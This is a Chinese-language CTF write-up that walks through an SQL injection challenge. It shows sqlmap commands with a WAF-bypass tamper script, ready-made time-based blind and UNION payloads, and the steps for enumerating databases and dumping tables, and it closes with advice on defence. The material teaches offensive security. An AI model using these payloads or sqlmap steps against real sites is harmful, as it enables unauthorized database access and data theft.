一、前言
在 CTF(Capture The Flag)竞赛中,SQL 注入(SQL Injection)是最为常见且经典的攻击类型之一。本文将结合一道具体的 CTF 题目,详细解析 SQL 注入漏洞的发现、利用过程,并深入探讨其背后的技术原理,帮助读者理解如何在实际场景中运用渗透测试工具与技巧。
二、题目环境与信息收集
题目链接:[脱敏URL]
目标场景:一个看似普通的搜索功能页面,初步判断可能存在 POST 类型的参数提交点。
1. 流量抓取与请求分析
使用 Burp Suite 抓取搜索功能的 HTTP 请求,保存为sql.txt
文件,内容如下:
POST / HTTP/1.1
Host: [脱敏域名]
Content-Length: 15
Cache-Control: max-age=0
Origin: [脱敏URL]
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: [脱敏URL]
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
search=remotely
可见,搜索参数通过 POST 请求的search
字段传递,这是 SQL 注入的常见攻击点。
三、SQL 注入漏洞探测
1. 使用 sqlmap 自动化检测
第一次探测:基础测试
执行命令:
python sqlmap.py -r C:\Users\Administrator\Desktop\sql.txt -tamper=0eunion
关键输出分析:
-
[WARNING] heuristic (basic) test shows that POST parameter 'search' might not be injectable
:初步启发式检测认为参数可能不可注入。 -
[CRITICAL] considerable lagging has been detected in connection response(s)
:响应延迟较高,可能存在时间盲注(Time-Based Blind SQL Injection)。
第二次探测:强制测试 UNION 注入
在交互提示中选择不减少请求(n
),继续测试 UNION 查询注入。最终发现:
-
参数可注入类型:同时存在时间盲注和UNION 联合查询注入。
-
数据库类型:MySQL(
back-end DBMS: MySQL >= 5.0.12
)。
核心 Payload 示例:
# 时间盲注Payload
search=remotely' AND (SELECT 8375 FROM (SELECT(SLEEP(5)))Apbf) AND 'suFZ'='suFZ
# UNION联合查询Payload
search=remotely' UNION ALL SELECT NULL,NULL,CONCAT(0x71706a7871, ... )-- -
四、注入原理深度解析
1. 时间盲注(Time-Based Blind SQL Injection)
原理概述
当服务器对 SQL 注入的错误信息进行过滤或不返回具体结果时,攻击者通过构造带时间延迟的 SQL 语句,根据响应时间差判断注入是否成功。
-
核心逻辑:利用
SLEEP(N)
函数制造延迟,若条件为真则执行延迟,否则立即返回。 -
适用场景:页面无错误回显、无布尔值差异的场景。
攻击流程
-
构造判断语句:
' AND IF(条件, SLEEP(5), 0) --
若
条件
为真,则执行SLEEP(5)
,响应延迟 5 秒;若为假,则立即返回。 -
通过逐位爆破(如 ASCII 码)获取数据:
' AND IF((SELECT ASCII(SUBSTRING(database(), 1, 1))) = 110, SLEEP(5), 0) --
(判断当前数据库名的第一位 ASCII 码是否为
110
,即字母n
)
2. UNION 联合查询注入(UNION Query SQL Injection)
原理概述
利用UNION ALL
操作符合并多个 SQL 查询的结果,通过构造合法的联合查询,将攻击者的 Payload 插入到正常响应中,从而获取敏感数据。
- 前提条件:
-
注入点支持 SQL 语句拼接;
-
UNION
前后的查询结果列数、数据类型一致。
-
攻击流程
-
确定字段数:通过
ORDER BY
语句判断查询的列数,例如:' ORDER BY 3 -- # 若返回正常,说明至少有3列
-
定位可显字段:使用
NULL
占位,确定哪些列的数据会显示在响应中:' UNION ALL SELECT NULL, NULL, 'test' -- # 若页面显示'test',则第三列为可显字段
-
提取敏感数据:通过
CONCAT()
函数拼接数据,例如:' UNION ALL SELECT NULL, NULL, CONCAT(user(), 0x3a, database()) -- # 显示当前用户和数据库名
五、漏洞利用与数据获取
1. 枚举数据库与表结构
获取所有数据库:
python sqlmap.py -r sql.txt -tamper=0eunion --dbs
结果:存在information_schema
和news
两个数据库。
枚举news
数据库中的表:
python sqlmap.py -r sql.txt -tamper=0eunion -D news --tables
结果:发现secret_table
表(疑似存储 Flag 的表)。
2. 提取 Flag 字段
获取secret_table
表的列信息:
python sqlmap.py -r sql.txt -tamper=0eunion -D news -T secret_table --columns
结果:存在fl4g
字段(类型为varchar
)。
导出fl4g
字段数据:
python sqlmap.py -r sql.txt -tamper=0eunion -D news -T secret_table -C fl4g --dump
最终 Flag:
QCTF{sq1_inJec7ion_ezzz}
六、总结与防御建议
1. 技术总结
-
注入类型判断:当页面无回显时,优先考虑时间盲注;若存在可显字段,则 UNION 注入更高效。
-
工具使用技巧:
-
tamper
参数可绕过简单的 WAF 过滤(如本题使用0eunion
脚本处理 UNION 关键字); -
--dump
结合-C
可精准提取目标字段数据。
-
2. 防御建议
-
输入过滤:对用户输入的参数进行严格校验,禁止包含 SQL 关键字(如
UNION
、SELECT
、SLEEP
等)。 -
预编译语句:使用参数化查询(如 PHP 的 PDO、Python 的 sqlite3 模块),避免直接拼接 SQL 语句。
-
错误处理:禁用数据库错误信息回显,统一返回友好的提示页面,防止攻击者利用错误信息进行注入测试。
-
安全测试:定期使用静态代码分析工具(如 SonarQube)和动态扫描工具(如 sqlmap)进行漏洞检测。